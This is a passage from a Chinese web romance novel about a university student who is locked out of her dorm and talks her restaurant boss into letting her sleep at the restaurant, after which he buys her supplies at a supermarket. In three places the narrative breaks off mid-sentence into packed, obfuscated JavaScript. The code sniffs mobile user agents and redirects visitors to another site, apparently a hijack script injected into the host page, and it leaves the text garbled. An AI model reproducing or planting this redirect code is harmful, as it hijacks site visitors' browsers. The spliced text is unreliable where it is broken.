他迟疑了一阵,很快就反应过来她的身份,但是没有过多停留,依然黑着脸开走三轮车。 何嘉的目光追随着他,摸摸鼻子不知道他做什么。 阳光隔断阴影,他驶入灰暗的区域,直到看不见那个小车影。 他今天心情不好? 何嘉回想上次见他的情景,大概过了十天吧,这期间他没来吃过饭,那天他还说她像耗子呢……他虽然不像第一次见面那么温和,但也不至于这种表情吧? 算了算了,她再次埋头,窗外景色与她无关。 一直写到五点,学校的铃声打破她的思绪。 何嘉突然想起现在已经是兼职时间了! 她慌七忙八地收拾好东西,朝饭馆一路狂奔。 抵达饭店的时候正好是五点十分。 “我来晚啦,不好意思。” 今天张姨没来,只有蒋姨招呼她:“没事,来单子了,你快去吧。” “好的!” 何嘉迅速扯下单子往后厨走,张壅和安叔正在炒上个单子的菜品。 “喏。”何嘉把单子递给张壅。 张壅伸手接过,没跟她讲话。 “嗯?”何嘉觉得奇怪。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242332|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 张壅平时最喜欢讲话了,这些天每次见面都要跟她打招呼的,今天却一声不吭,有问题。 不过今天是怎么了?怎么他和老板都不高兴的样子? “小嘉,又来单子了。”蒋姨在外面提醒她。 “来了——”何嘉一边回应一边往外走。 接下来的单子让她应接不暇,根本没有时间去想刚才的问题。 今晚连着来了好几桌堂食,点的都是大菜,张壅和安叔忙不过来,就拉蒋姨去帮忙备菜,于是两层饭桌只留何嘉一个人传菜。 “小妹儿,我们的猪肚还没好哇?”有桌顾客等不及了。 何嘉走过去陪笑:“不好意思,已经下锅了,我再去厨房让他们快点。” “好嘛,麻溜儿点,都等好久了。” “嗯嗯好的。” 何嘉飞速跑下楼,往后厨里喊:“12桌的猪肚莴笋下锅了吗?他们在催了。” 张壅啧了一声,不耐烦:“催催催,催命啊!老子一天到晚忙不完的,给他们说已经下锅了!” 何嘉应答:“已经说了。” “那就不管他们了,”一道李庄白肉出锅,他朝外喊:“上菜——” 何嘉麻利地接过,朝二楼走去。 路上她不禁想,饭店忙的时候果然来不及,你要是问某道菜还有多久好,那必然得到的答案是已经下锅了,实际上呢,也许厨师忙得发火,还根本没开始备菜。 愿意吃的继续等,不愿意吃的就走。反正服务员的态度好,你也不能说人家不理顾客。 后续几道菜比前面上得快些,忙了好几圈,何嘉觉得自己的手臂开始发酸,有些抬不起来了。 好在时间过了八点,客人越来越少,今天安叔负责店里的晚饭,炒了几道家常菜,大伙儿就开始吃晚饭了。 张壅今天不说话,张姨也不在,剩下几人都不喜欢说话,整张桌子安静得只有咀嚼声。 何嘉觉得今天有鬼,索性继续降低自己的存在感。 等到九点整,终于下班,何嘉朝他们几个道别:“我先走了哦,大家拜拜。” 和善的蒋姨与安叔朝她挥手,张壅瘫在一张藤椅上朝她点头。 门外天色如墨,除了放在路旁的几辆单车,基本上就只有她的存在。 她仰起头去看路灯下的树木,树梢的叶子枯黄,风一吹便簌簌滑落,跌到她身边的时候她忍不住伸手去接。 一片金黄的叶子躺在她手心,是爱心的形状。 “还不回去?” 一个磁性低沉的男声从她前面传来。 何嘉抬眼去看他的模样。 那人眼下的乌青很重,眼里的戾气消散只留下困倦。他的嘴边似乎冒出一些胡茬,倒是多了一丝慵懒休闲的味道。 “老板,你去饭店吗?”何嘉将叶子收回口袋,声音轻柔。 李成杨向前走了两步,“嗯,刚下班。” 何嘉盯着他嘴角的某个位置,那里好像有一颗棕色的小痣。 “很晚了,回去吧。”他从她身边经过,伸手指了指他身后的方向。 何嘉乖乖点头,又回头说:“老板再见。” 李成杨顿了一步,转头对她说:“你怎么总说这句话?” 她眨着迷惑的眼睛:“啊?我有吗?这不是普通的道别语吗?” 他想了想:“也是,但是别老叫我老板吧。” “那叫什么?” “随便。” 这把她难住了,不叫老板能叫什么? 她猛然想到一个称呼,弱弱地说出来: “叔叔?” 李成杨脸上闪出三条黑线,“你再叫一遍?” 何嘉抿住嘴巴,漆黑的眼睛有些不安。 过了一会儿又说:“是……是你说随便的。你肯定比我大呀,我也不知道大多少,就是……就是你看上去应该比我大了超过五岁吧,叫叔叔……挺合适的?” 李成杨被她气一下,但又觉得她说的有道理。真相是他比她大了可不止五岁,估摸着有十岁了,所以还真是可以叫叔叔的程度。 但他暂时不想听到这个称呼。 “还是叫老板吧。”他妥协了。 “哦。”何嘉忍住不笑。 8. 第8章 和李成杨分开后何嘉很快回了宿舍。 五楼的长廊亮着几盏微弱的灯,走廊最末处有一个没有封窗的阳台,时不时吹来冷风。 她走到503门口,抬手去推那扇冰冷的铁门。 推了一下,大门纹丝不动。 何嘉歪了歪头,用力再推了一次。 还是没打开。 怎么回事? 锁门了? 她“嗯?”了一声,最后推了一次。 锁门了。 何嘉皱着眉头摸出手机,翻了好几下找到郑亦然的电话号码。 点开通话,何嘉一边等待接听一边盯着门上的广告纸,用手使劲抠了一下。 大概等了两分钟对方才接听。 “怎么了?有事吗?”郑亦然那边人声嘈杂,显得她的声音格外渺远。 何嘉问:“你今天不在宿舍吗?” 郑亦然漫不经心:“哦,我最近找了个实习,今天搬到外面住了。” “你怎么不提前跟我说一声啊,平时寝室有人大家都不带钥匙的,你直接锁门了我就进不去了。” “你没钥匙?我以为你有呢。” 何嘉耐着性子:“你锁门之前应该告诉我一声的,我都不知道你走了。” 郑亦然并不诚心:“哦,那不好意思了呀。” 何嘉又问:“你最近还回来吗?” 郑亦然说:“不了,答辩之前再回来。” “可是我没钥匙……” “那没办法了,你问问宿管有没有备用钥匙吧。” 何嘉还想说点什么,郑亦然却先开口:“我这边儿有点忙哦,宿管要是没有的话你就问问其他室友最近回不回来吧。” “也行吧。”她只好这么回答。 “嗯。” 电话里只剩忙音。 何嘉叹了口气走下楼,心里憋着一口气。 寝室里所有人都知道,只要寝室有人住就一定不会锁门,所以大学四年503锁门的时候屈指可数。 也意味着郑亦然明明知道她没带钥匙,连一声招呼都不打就锁门了。 这不是存心的话很难解释。 何嘉走到一楼,宿管阿姨问她:“怎么啦?” 何嘉说:“阿姨,你那儿还有没有503的备用钥匙啊?” “503?我记得之前有个同学说她钥匙丢了,503最后一把钥匙已经给她了呀。” “是哪个同学呀,你还记得名字吗?” “哎呦,好像是小郑呀。” “……”何嘉想骂人,但又没法说什么,只好再问:“真的没有了吗?” 阿姨摊摊手,“没有了,你钥匙也丢了?” 她语塞:“算,是吧。” “那我没办法了,你得自己去问问室友。” “好吧,谢谢。” 何嘉失落地走出宿舍楼,找了个花坛独自坐下。 手机上另外两个室友都在外地,除了毕业答辩的时候应该是不会再回来了。 她撑着手抬头看天,有些烦躁地叹了一口气。 这都什么事儿啊。 天空黑漆漆的,一颗星星也没有,冷风灌进她的裤脚,寒意从下肢一路往上,让她打了个寒颤。 何嘉看见有几个同学拖着行李箱准备离开,突然想起一月中旬就要放寒假了。 学校每年的寒假都不允许同学留宿,因为春节那会儿宿管放假没有人负责安全。 以前的寒假她找的兼职都是带宿舍的,最近忙来忙去怎么把这么重要的事情搞忘了。 那她还能住哪儿呢? 她的东西都还没来得及收拾出来,现在身上只有一个手机和一台电脑。 她莫名弯了弯嘴角,有些自嘲地想:幸好没忘记论文,不然连电脑都得锁在寝室里。 唉。再叹一口气,她心里的烦躁一点都没有消散。 郑亦然和她是什么时候开始有这种奇怪的气氛的?她自诩自己对每个室友都很和蔼,为什么还要收到这样微妙的恶意? 是恶意吧? 她又摇摇头,也怪不得别人,万一郑亦然只是单纯忘了和她说呢? 毕竟没带钥匙的是她自己。 再坐了几分钟,她回想起刚才遇到李成杨的情景,那时候他是要回饭店的,所以现在一定在那里。 她要回饭店。 两个中年人从“老李现炒”出来,手上燃着还剩一半的烟,他们有一搭没一搭地聊天,全然不顾附近有人经过。 何嘉捏着鼻子跑进饭店,像只麻雀一样灵活。 饭桌上一个人也不剩,只有张壅还在厨房打扫卫生。 何嘉走进去问他:“壅哥,老板刚才是不是回来了?” 张壅放下铁锅,纳闷道:“你回来干嘛?找他有事?” “对的,有点事情要和他说。” “不知道他去哪儿了,刚才还在。” “好吧,那我给他发个消息。” “嗯。” 何嘉找到他的通讯栏,发了一条消息过去。 何嘉:【老板,你在店里吗?】 对方没回。 她找了张椅子坐下来,准备等几分钟。 一个男人从二楼往下走,脚步声铿锵有力。 何嘉循声去看,李成杨捏着手机往下走,整个人懒懒散散的。 “怎么了?”他站在楼梯上看她。 何嘉走到楼梯边,神色扭捏:“老板,我想跟你商量个事。” 他无奈道:“你又想跟我商量什么?” “嗯……”她抿了抿嘴唇,“我们可以到二楼去说吗?” 李成杨觉得荒谬:“你觉得合适吗?” 末了又补充一句:“有什么事不能在这儿说的,还非要上去说?” 何嘉坚定地看着他,回答得很认真:“我觉得这事挺合适的,我们还是上去说吧。” 毕竟这里还有一个张壅呢,让人听见了也不太好。 李成杨拿她没办法,知道她就是较真的人。 他后退一步,尾音拉得老长:“行,那就走。” 何嘉如愿跟在他身后,偷偷打量他的背影。 他的肩膀很宽,配上挺直的背脊就像是一棵白杨。骨节分明的手掌耷在大腿旁边,随着走路的姿势微微晃动。 他最近应该理过发,发茬看上去□□扎手。 李成杨停在一间包间门口,暖黄的灯光落在他的发顶上。 “说吧。”他转头俯视何嘉,脸颊隐匿在阴影里。 何嘉被迫抬头对上他的视线,语气微弱:“老板,我今天来,是有一个小小的请求。” “什么?”他无意间看见她头顶有一个小小的发旋。 她支支吾吾:“就是,你听了之后能不能……不要觉得离谱?” 他顶了顶下颚,“直接说,怎么又跟挤牙膏一样。” 她飞速观察他的脸色,然后猛然低下头,憋着一口气像要赴死。 “就是我今天开始可不可以在这里住一段时间我可以中午晚上都上班能不能不收我房费?” 见他一下愣住,她又接续说:“工资和以前一样就行只要让我住在这里。” 李成杨还是没说话,他的表情在阴影里不甚清晰。 何嘉努力抬眼去观察,灯光打在她的睫毛上留下几道影子。 他清晰地捕捉到她脸上有讨好也有不安。 但这对他来说掀不起波澜。 “不行。”他斩钉截铁。 小姑娘一下子泄了气,耳朵像兔子一样耷拉下来。 “为什么?”她问。 他后退,用手摸了摸嘴巴:“你脑子进水了?” 她上前,水灵的眼睛不认输:“没有。我很清醒。” 三步之遥,他闻到一股清香,类似于某种兰花又不太像。那是从她发顶传来的味道。 他不自然地再次后退,和她留够了距离。 “那也不行。” “为什么?”她急了,踩着他的步伐上前,“为什么不可以,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242333|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那天都住过了的。” 她的眸子近在眼前,让他的呼吸不禁加快了半秒。 他换了种说话方式:“你不住宿舍住这里干嘛?” 何嘉咬咬嘴角,“要放寒假了,寒假都不能住宿舍。” “那就回家。”他声音冷漠。 “我不是余川人,而且……寒假要给你兼职。” “那你以前怎么办的?” 她慢条斯理地说:“以前找的兼职都是带住宿的。” 得,这是在埋怨他不给她住宿了。 李成杨不松口:“你可以租个房子。” 何嘉急忙说:“我没钱,我真的没钱,我兼职也是为了准备读研的,不可以再花钱租房子了……” 李成杨闻着她的香味觉得有些恼火:“你很缺钱?你爸妈不管你?” 何嘉怔住,眼里划过一瞬涟漪又立马消失不见。 她藏起心里的情绪,几乎是认命般地仰起头说:“是的,我很缺钱,所以我才会一直找兼职。今天过来是因为没带钥匙被锁在外面了,我的室友都去实习了,宿舍回不去不住这里我就没地方去了。” “如果你实在不同意的话就让我先将就两天吧?后面的事我再想办法。当然,你帮我的话是仁至义尽,你不帮我也没有错,反正我也可以去睡饭店门口的大街。” 她说后面这句话的时候近乎逼迫,语气里装着几根细小的刺。 李成杨被她的刺膈应住,突然想笑,不是开心,而是觉得她这人很搞笑。 他真的笑了,语气带着些嘲弄:“何嘉。你现在的困难不是我造成的,谁造成你的困难你就找谁去好吧?还有,你自己也说了,我帮你算是好心,不帮你也不算错,你这什么语气?你觉得我有必要留你这么大一个安全隐患?你知不知道晚上住这里根本就不安全?” 或许是觉得自己说得不够明显,他还特意强调:“今天、明天、后天、大后天,但凡是我在,我看谁敢让你住店里?” 他的眼神严肃,落在何嘉眼里更像怒意。 她被他的气势逼得一句话也说不出来,这些话尽数砸在她心上,让她突然觉得委屈,但是她知道自己不该委屈。 他说的话一点错也没有,在这里无理取闹的人是她。 想到这儿,她的眼里多了几滴泪水,但是被倔强地收起。她低头沉默几秒,抬头对上他的眼睛。 “对不起,老板……” 声音颤抖,面颊发红。 又难堪又羞愤。 李成杨不回答,靠在墙边看她。 何嘉的羞愤一下子变成了失落,双手攥了攥衣角,再后退一步,尽量平静地说:“我走了。” 她一转身,暖光打在她落寞的背影上,将她整个人照得形单影只,有一种玻璃正在破碎的感觉。 李成杨还是没动,内心却生出一种怪异的感觉。 他看见了她眼里的晶莹,和蓝宝石一样清澈透明。 他忽然开始怀疑自己刚才是不是把话说重了。那些话对三十岁的人来说无伤大雅,但对还没出身社会的学生来说应该有些刺耳。 拿起手机,时间已经过了九点半。 李成杨站在原地挠了挠脑袋,觉得头痛。 本来上班就忙,送完快递回店里,回店里还要看账,他真是分身乏术,怎么又遇上她这么一大尊佛。 “唉。”他一边摇头一边叹气。 她一个女孩子,看上去规规矩矩的,脾气又软,总不能真让人家去睡大街吧。 他闭眼想了两秒,最后忍着头疼做出了决定。 他抬脚的方向正是她离开的方向。 楼下张壅刚收拾好厨房就看见这两人一前一后,一个失魂落魄,一个沉默不语。 这是唱了出大戏啊。 “杨哥,你们咋了?”他在线吃瓜,率先下定义,“你欺负她啦?” 李成杨睨他一眼,“干完了就走,别问东问西的。” “呵呵。”张壅拎着外套走了。 李成杨紧随其后。 9. 第9章 李成杨追出来的时候街上冷清清的,街边路灯发着微光。 他转头看了好几眼,发现路上没有某人的身影。 跑这么快?他真是有点没招了。 要是晚上真出点什么事儿,他可做梦都想给自己两巴掌。 跟个小姑娘较什么劲呢,有话好好商量不就行了。 他又往街上来回走了几百米,还是没看到那个黑色棉服。 只好折返回去看看她会不会回饭店。 刚走到饭店门口,他就看见一个姑娘坐在大门旁边的花台上,手上抱着个保温杯,里头的热水袅袅升起。 李成杨插着腰,轻嗤了一声:“你刚去哪儿了?” 何嘉呆呆地抬头,慢吞吞地说:“我刚才,一直坐在这里的。” “?”李成杨无语,“你刚一直坐这儿的?” “嗯。”她点头,头发微微下滑。 他质问:“你看见我出去的?” “看见了。刚好看见你走出去,好像是在找我……但是你没回头,就没看到我。” 他心里那口气又上来了:“我没看见你你也不知道叫我一声?” 她盯了他一眼,语气讪讪,“我不敢。” “你不敢什么?”他被气笑,“我看你挺敢的啊,你有什么不敢?” “呃,我怕你出来是为了再骂我一遍。” “?” 李成杨活了三十多年了,头一次有种被人耍了的感觉。他还得大气不出,免得人家又哭。 他开门见山,“你已经决定了要住这儿是吧?” 何嘉放下杯子,一下子站起来,“可以吗?我以后一起床就工作,大活小活我都能做,只要你让我熬过这个寒假。” 他没理这话,按照自己的节奏问:“你住这里晚上没人,谁也不能保证你的安全,你想好了?” 她猛地点头:“我知道的。” “你知道就好,平时手机要保证通讯,有事马上给我打电话。 “嗯嗯,好的老板。” 李成杨又问:“那你说说你住儿怎么洗澡?厕所又没有淋浴。” 何嘉仔细想了想,一楼是有热水的。 “我可以去楼下打热水上来洗。” “你也不嫌麻烦。” “我没关系的。” 何嘉看他表情软和下来,已经浮现出胜利的可能性。 她怕他突然反悔,迫不及待地补充:“我真的都没关系的,楼上挺好的呀,离上班的地方近,空了还有桌子能写一写论文呢。” 他眼神微眯,除了自己以外他再也没见过这么热衷于工作的人。 他真是拿她没办法,有什么办法,话都说到这个份上了,他只能松口说:“随你,只要你人是安全的,你住哪儿我都不管。” “好诶。”何嘉朝他露出一个灿烂的笑容,一双眼睛弯得像月亮。 “老板,谢谢你,谢谢您,太感谢了,我一定为这个饭店当牛做马!” 李成杨扶额,“我不需要你当牛做马,你平时该干嘛干嘛,注意安全就行。” 她答应地爽快:“好的好的,我一定会小心的。” 他转头,将她脸上的两个梨涡从脑海里甩出去。 何嘉止不住要笑。 过了两分钟,李成杨想到什么,指了指她的背包,“你说你被锁外边了,那就是说你现在全身家当就是这个包了是吧?” 何嘉尴尬地点头:“是的。” “连件衣服都没有?” “嗯……是的。” “那你之后怎么办?” 何嘉被他问住,直接傻眼了。 他继续说:“没衣服没被子没洗漱用品,我看你不是要被冷死就是要发霉。” 她站住不动,觉得他说得很有道理:“好像是这样。” “唉。”他怎么连这些都要管,又不是她爹。 李成杨指了指路口的超市,提醒她跟上:“走吧,还没到十点,还可以买点东西。” 何嘉迟疑地说:“费用的话,我能先欠你吗?” “……” “不行吗?” “……可以。” “那我可以再买点吃的吗?我有点饿了。” “可以。” “那我可以……”她还没说完。 “可以。”他直接打断。 临近打烊时间,超市里只留下一位结账的大婶正在打瞌睡。 她听见何嘉两人的脚步,睁眼打了个哈欠。 “要关门了,你们快点逛啊。” 何嘉朝她笑笑:“好的,麻烦您稍等一会儿。” 李成杨走在一边拿了个篮子,“先买洗漱要用的。” 何嘉也拿了一个跟在他身后。 洗漱用品放在超市最里面,两人走了几步路才看见满满一墙的洗发水和沐浴露。 李成杨从货架上随手拿了一瓶洗发水,丢到篮子里准备离开,何嘉却立马将它拿出来。 “怎么了?”他转头问她。 何嘉说:“不要这个,这个一点也不划算。” 他挑眉,指了指价格标,“这一排价格大差不差,克数也差不多的。” 她坚持,往前走了两步立在几瓶蓝色的飘柔前。 “要这个。”她拿了其中170毫升的那瓶。 李成杨没看出有什么特别划算的,“这个170毫升九块九,和刚才那个200毫升十二块九的有很大的差别吗?” 何嘉严肃,“虽然克数算下来只差了一分钱,但是九块九在十块钱以内,看上去要更便宜一点。” “……”他不理解这是什么鬼逻辑,只好说:“行吧,放我篮子里。” 她照做。 接下来,两人继续朝前走,何嘉的目光落在另一排沐浴露上。 李成杨这次没管她,主动站在她身后让她自己去挑。 他的目光随意落在篮子里的洗发水上。 刚才她拿的这个飘柔是什么味来着,兰花香型。 他一下就想起她在二楼跟他较劲的时候,整个走廊里都弥漫着这股香味。 那时候她态度有些强势,盯着他的眼神不依不饶。活像只强词夺理的刺猬。 “这个……还是这个吧。”何嘉在货架前自言自语,截断了他的走神。 他走过去,将篮子提到她手边。 她想起自己也带篮子了,对他摆摆手,“这个我放自己的篮子里就行了。” 他轻呼一口气,“等会儿要买的东西不止这点,你那框里等下放别的。” 她觉得也有道理,乖乖将舒肤佳放进他的篮子里。 “谢谢。”蚊子一样,根本不像刚才跟他犯浑的样子。 他转转眼睛,觉得她果然还是小孩子心性。 “洗发水沐浴露都有了,去买点牙刷牙膏。”李成杨指了指对面的货架。 何嘉捡了里头最便宜的几样,顺手又拿了一点洗衣粉和一个小脸盆。 他在一旁提醒:“想想还有什么需要的。” “嗯,我想一想,”何嘉往其他货架看去,“还有毛巾和衣架。” “去拿。”他站在这里等她。 不一会儿她就拿了两个小毛巾和一把铁衣架回来。 李成杨把篮子往前放,确保她能塞进去。 他瞧见那两个毛巾,忍不住说:“你拿个这么小的干嘛?省钱啊?” 何嘉被戳中心思,却不承认:“我就用这么小的就行。” 他好笑,“嗯,你脸小,我这种脸大的就是看不得这么磕碜的东西。” 何嘉一下愣住,“啊?哦。” 她知道了。她这老板就是这个性格,不太爱讲话,但就喜欢突然说句怪话,让人反应不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242334|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来还觉得有点冷。 李成杨的视线在她身上瞟了几下,看她身上那件洗得跑棉的外套,觉得非常碍眼。 “走,买两件外套。” 何嘉疑惑地眨眨眼:“为什么要买外套?” 他懒得解释,“你这件有点丑。” “……”她语塞,过了一会儿说:“没关系,丑我也能穿,我可以忍忍。” “嗯,我忍不了。”他漫不经心地撂下这句往前走,何嘉根本来不及反应。 卖外套的区域大多在售的是中老年的款式,放眼望去全都花里胡哨,以大红大紫为主,布料镶着几行闪钻,要么就是有些土潮的豹纹。 李成杨立在它们面前陷入了沉思。 他长这么大也没怎么接触过女性,平时上班都是送快递的同事,他们不讲究穿什么,因为可以穿工服。 唯一的两位女性就是张姨和蒋姨,这些衣服她们应该会喜欢吧,那年轻姑娘呢? 应该没有那么喜欢吧…… 他闭了闭眼,对何嘉说:“你挑两件?” 何嘉看看那些衣服,再看看他,怀疑他在开玩笑。 她一个年纪轻轻的女孩怕是撑不起这么“隆重”的衣服。 “老板,不用买外套的。”她很肯定。 李成杨当她是不喜欢,“买两件,你去看看有没有款式简单的。” 何嘉搞不懂他为什么非要她买外套。 “一定得买吗?” 李成杨认真地说:“你不可能几个月就穿一件外套吧?今年天气冷,选厚一些的。你那外套看上去像我虐待员工。” 何嘉低头看了看自己的外套,这件黑色的外套是高三那年买的,一直穿到现在,里面的棉花都被洗瘪了,确实不太暖和。 但她今天只预计了买生活用品的费用,要是买外套多的钱都花出去了。 她站在原地没动。 他瘪嘴,“你怕什么?反正是我付钱。” 她轻飘飘抗议:“以后也得还……” “去挑。”他很强硬。 何嘉慢慢走到那堆衣服前,开始艰难地挑了起来。 货架上要么是款式老成的假貂,要么就是颜色刺眼的羽绒服。 前者太丑,后者又丑又贵,她一个都不想选。 或许是看不到满意的,她转头往男士专区看了看,那边的颜色都是黑白灰,看上去比较实用。 她最终停在一件黑色的短款棉服前。 李成杨瞥了一眼,问:“又是这个颜色和样式?” 她盯着价签说:“黑色很耐脏的,可以穿很久。” 李成杨随着她的目光去看,价签写着“100”。 他知道她在想什么了。怕太贵的浪费钱,这件黑的刚好耐脏,款式也不出错,在她的脑海里算是最好的选择了。 他没说什么,指着其中一件:“拿个小码的看看合不合适。” 何嘉依然照做。 男款的S码在她身上略微大了一点,但是可以接受。 何嘉从货架上又拿了一件深灰色的外套,款式和刚才那件一模一样。 “选好了?”李成杨问她。 她点了头,将两件外套放进自己的篮子里。 “选好了就结账吧。”李成杨看墙上的时间已经过了十点零五分,收银的大婶忙着打盹。 刚朝外走进步,何嘉突然想到什么,抬头看了李成杨一眼。 李成杨疑惑:“怎么?” 何嘉支支吾吾:“还有,还有一件东西。” 他问:“什么?不是都买完了?” 她抿着嘴不想说。 他又问:“还有什么?” 她和他对视一眼立马低下头,声音小得几乎听不见:“就是那个,内衣……” 他一瞬微怔,余光看见小姑娘的脸颊和耳朵迅速攀上一片绯红。 10. 第10章 “去买吧,”李成杨没什么语气,“你自己去挑,快点。” 何嘉猛地点头,一转眼没了人影。 李成杨提着篮子没动,心想买内衣就买内衣呗,又不是什么见不得人的东西。 他微微低头,想到她脸上那抹不自然的红润,眸子闪动了一秒。 脸红什么。 小朋友的事,他哪里懂。 内衣货架这边,何嘉尽量拿了几件纯棉的内衣裤,慌七忙八地确认是不是自己的尺码。 突然就想到刚才李成杨的表情。 他好像除了愣了一下也没什么表情,但是对她来说还是有那么一点儿羞耻,老板四舍五入就等同于长辈,在长辈面前说什么内衣…… 她轻轻叹了一口气,将脸上的热意压下来,装作镇定地大步走回去。 李成杨已经把篮子放在收银台上,正低着头看手机。 何嘉走到他身边,将手上的东西放在其中一个篮子里。 收银的大婶早等得没精神了,扫码的时候神情焉焉的。 她机械地重复动作,拿起其中两件蓝色碎花的布料,“这个买一送一哈,东西都检查好了没?买一送一的都不能退的。” 李成杨抬头,目光落在那两样东西上,转头对何嘉说:“她问你,你自己说。” 何嘉立马炸毛,一个劲儿点头说:“检查了的检查了的,没问题。” 大婶被她的声音吓一跳,无语吐槽了一句:“又不是没见过内衣,叽叽喳喳的。” 何嘉的脸更红了,低着头祈祷这个大婶快点住嘴。 大婶偏不,本来就下班晚了,更要抱怨几句:“都要住一起了还不晓得早点准备东西,那么晚了才来买要用的,简直是拉屎了才知道挖坑,难怪现在的年轻人搞对象都搞不出个名堂。” 何嘉怔住,没反应过来“搞对象”这几个字的意思。 倒是李成杨放下手机,指着何嘉对大婶平静地说:“她是我女儿。” 场面忽然寂静,大婶和何嘉同时惊讶,纷纷瞪着眼睛看他。 大婶转头打量一下何嘉又转头看了看李成杨,她寻思这两人看上去年纪相差不是很大,要是父女的话不得乱套了? 李成杨没有继续说话,很坦然地看着她。 大婶想到了什么,突然抖了一下骂道:“疯球了。” “多少钱?”李成杨拿出手机准备付款。 大婶不善:“二百八。” 他将费用扫过去,主动提着两袋东西往外走。 身后的何嘉在寒气中头脑风暴。 李成杨的步子大又走得快,何嘉小跑着才勉强跟在他旁边。 他手上的两个袋子看上去鼓鼓囊囊,何嘉怕他重,主动提出:“老板,要不我提一个吧。” 李成杨默不作声,继续往前走。 她以为他没听见,又说:“老板,我来提一个吧!” 他最烦莫名其妙的客套,将其中一个袋子提到空中晃了两下,说:“很轻。” 何嘉还说:“那给我提?” 他又不理她了。 她只好灰溜溜地跟在他身后。 走了一截路,李成杨渐渐放慢步伐。 何嘉终于不用小跑一样地赶路。 “刚才是为了不让她误会,”李成杨顿了顿突然说,“不是占你便宜。” “什么?”何嘉一下子没反应过来他什么意思。 想了一下,猜测他说的应该是那句“她是我女儿”。 “没关系。”何嘉不在意,只是当时有点震惊,她没想到他竟然能面不改色地说出那样一句不着调的话。 “嗯。”他不再重提。 回到饭店时间已经不早了,李成杨将两个袋子直接提上二楼,放在那个睡觉的小房间里。 何嘉看他忙前忙后,主动跑去一楼给他接了一杯水。 李成杨将它一饮而尽,看着杯底的水珠忽然想到什么。 “你之前好像说饿了要吃东西?” 何嘉想起自己确实说过,“没关系,刚才忘记买了。” 他问:“不饿了?” 何嘉哪敢再麻烦他,一边摇头一边说:“没事的,刚才走两步路已经不饿了。” 李成杨正要接话,房间外面猛然传来另外一个男声—— “饿了就得吃啊!” 房间里面的两人吓一跳,面面相觑之后以为是幻觉。 那个声音越走越近,最后越过房门朝里说:“要吃什么?宵夜?我可以做一点。” 李成杨翻了个白眼,无语道:“你特么还不走在这里干嘛?” 张壅探了个头,讪笑:“我本来走了啊,买包烟的功夫发现店里灯还亮着,这不是怕店被偷了就在外面躺着,结果你们自己没看见。” 李成杨黑脸,又来一个不喜欢吱声的,还非要说是他没看见人家。 何嘉对张壅说:“不用麻烦了,我现在不是很饿。” 张壅固执:“不是很饿就是还是有点饿。我下去做点宵夜,你们等会儿解释一下这是怎么回事啊。” 他还不忘指了指房间地上的两个袋子。 何嘉没办法,只能观察李成杨的脸色,李成杨说:“等着吧,你不让他做,他今天不会走的。” 她顺着他点头,只觉得今天这一大天大家都好像特别不正常。 特别是老板和张壅之前都看上心情不好的样子,怎么现在突然又正常了? “我打开看看?”李成杨的声音把她拉回现实,她看见他指着地上塑料袋。 “好的。”她的话音一落,他就翻开洗漱用品的那个袋子,思考了一会儿说:“什么都买了,但是好像没给你买被子。” “那……” “那就先开空调。”他替她打开暖气,先一步作出决定。 何嘉不作声,等他安排。 他站起来,朝房间环绕几眼,没发现什么特别需要叮嘱的。 扔下一句:“你自己收拾一下,我下去看看张壅。” “好。” 室内只留下何嘉一人。 何嘉抬头,注意力被房间上空的空调吸引。 上面写着27摄氏度。 一股暖风吹到她身上,驱散了她周围的每丝寒意。 房间内和上次来的时候一样整洁,根本看不出有人居住过的痕迹。 她被这样温暖的空气包围着,整个人放松下来,隔了好一会儿才开始收拾刚才买的物品。 楼下张壅重开已经洗好的灶台,随手抓了带点宽粉和土豆出来。 李成杨走进后厨,身体半靠在门框上。 “这么晚了还不回去,等会儿冉舒要抱怨了。” 张壅问他:“你吃不吃?” 李成杨转身走到冰柜前拿了两瓶啤酒,又问他:“喝不喝?” 张壅“嘁”了声,说:“一起喝点。” 手上多抓了两把宽粉。 炒粉简单,步骤也不多,张壅只颠了两勺一锅炒粉就做好了。 土豆宽粉,是碳水炸弹也是深夜福音。 李成杨看他端了三份出来,每份都冒着热气。 他拿出手机找到那个小猫头像。 简洁明了地发了一句【下来】。 对面很快回复【好的】。 何嘉下楼的时候他们两个已经坐在圆桌上,上面摆着几份吃的和两瓶啤酒。 她选了个和他们不远也不近的位置坐下。 张壅递了双筷子给她:“喏。你吃辣吧?我都放了辣椒的。” 何嘉接过,“吃的,我挺能吃辣的。” 他欣慰一笑:“可以可以。” 李成杨已经埋头吃起炒粉,对他们的寒暄并不感兴趣。 张壅开了啤酒,对何嘉说:“你喝点儿吗?” 李成杨直接打断:“给我。” 何嘉自然不用再回答这个问题。 